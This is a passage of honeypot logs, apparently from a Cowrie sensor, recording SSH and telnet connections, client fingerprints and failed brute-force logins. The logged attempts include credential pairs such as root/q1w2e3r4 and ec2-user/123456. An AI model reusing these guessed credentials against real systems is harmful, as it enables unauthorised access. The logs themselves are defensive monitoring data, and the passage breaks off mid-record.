512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:51.957988Z","src_ip":"192.109.200.78","session":"2acdb7a642ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:52.336411Z","src_ip":"192.109.200.78","session":"2acdb7a642ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0013358592987,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:53.037800Z","src_ip":"216.131.72.138","session":"f1c4a9e8e1c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.131.72.138","src_port":37664,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed81ed6c72d3","protocol":"telnet","message":"New connection: 216.131.72.138:37664 (159.203.135.109:23) [session: ed81ed6c72d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:53.188321Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:53.427600Z","src_ip":"192.109.200.78","session":"2acdb7a642ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44780,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b488726e2b9","protocol":"ssh","message":"New connection: 159.203.92.129:44780 (159.203.135.109:22) [session: 5b488726e2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:54.888170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:54.892782Z","src_ip":"159.203.92.129","session":"5b488726e2b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:54.897019Z","src_ip":"159.203.92.129","session":"5b488726e2b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123..","message":"login attempt [admin/abc123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:54.950222Z","src_ip":"159.203.92.129","session":"5b488726e2b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46046,"dst_ip":"10.17.0.5","dst_port":22,"session":"79f69c0450ee","protocol":"ssh","message":"New connection: 192.109.200.78:46046 (10.17.0.5:22) [session: 79f69c0450ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:55.891563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:55.896806Z","src_ip":"192.109.200.78","session":"79f69c0450ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:55.957762Z","src_ip":"159.203.92.129","session":"5b488726e2b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:56.271142Z","src_ip":"192.109.200.78","session":"79f69c0450ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:56.533155Z","src_ip":"192.109.200.78","session":"79f69c0450ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:57.623850Z","src_ip":"192.109.200.78","session":"79f69c0450ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.102","src_port":58368,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cabba198f61","protocol":"ssh","message":"New connection: 205.210.31.102:58368 (10.17.0.5:22) [session: 3cabba198f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:58.710091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:59.667188Z","src_ip":"205.210.31.102","session":"3cabba198f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46902,"dst_ip":"10.17.0.5","dst_port":22,"session":"63613635947c","protocol":"ssh","message":"New connection: 192.109.200.78:46902 (10.17.0.5:22) [session: 63613635947c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:47:59.851658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:00.010071Z","src_ip":"192.109.200.78","session":"63613635947c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:00.014018Z","src_ip":"192.109.200.78","session":"63613635947c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:00.416527Z","src_ip":"192.109.200.78","session":"63613635947c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:00.698296Z","src_ip":"205.210.31.102","session":"3cabba198f61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:03.220440Z","src_ip":"192.109.200.78","session":"63613635947c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46934,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c5c9f039980","protocol":"ssh","message":"New connection: 192.109.200.78:46934 (10.17.0.5:22) [session: 6c5c9f039980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:04.237467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:04.241844Z","src_ip":"192.109.200.78","session":"6c5c9f039980","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:04.328388Z","src_ip":"192.109.200.78","session":"6c5c9f039980","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:04.583900Z","src_ip":"192.109.200.78","session":"6c5c9f039980","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:07.580863Z","src_ip":"192.109.200.78","session":"6c5c9f039980","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55488,"dst_ip":"10.17.0.5","dst_port":22,"session":"16a89686971a","protocol":"ssh","message":"New connection: 192.109.200.78:55488 (10.17.0.5:22) [session: 16a89686971a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:08.434024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:08.438653Z","src_ip":"192.109.200.78","session":"16a89686971a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:08.512515Z","src_ip":"205.210.31.102","session":"3cabba198f61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:08.521273Z","src_ip":"192.109.200.78","session":"16a89686971a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:08.772512Z","src_ip":"192.109.200.78","session":"16a89686971a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:09.857660Z","src_ip":"192.109.200.78","session":"16a89686971a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55490,"dst_ip":"10.17.0.5","dst_port":22,"session":"46f958476d5b","protocol":"ssh","message":"New connection: 192.109.200.78:55490 (10.17.0.5:22) [session: 46f958476d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:12.487641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:12.491944Z","src_ip":"192.109.200.78","session":"46f958476d5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:12.578754Z","src_ip":"192.109.200.78","session":"46f958476d5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:13.000316Z","src_ip":"192.109.200.78","session":"46f958476d5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:14.087129Z","src_ip":"192.109.200.78","session":"46f958476d5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55504,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eecac4466f6","protocol":"ssh","message":"New connection: 192.109.200.78:55504 (10.17.0.5:22) [session: 4eecac4466f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:16.748571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:48:16.753950Z","src_ip":"192.109.200.78","session":"4eecac4466f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[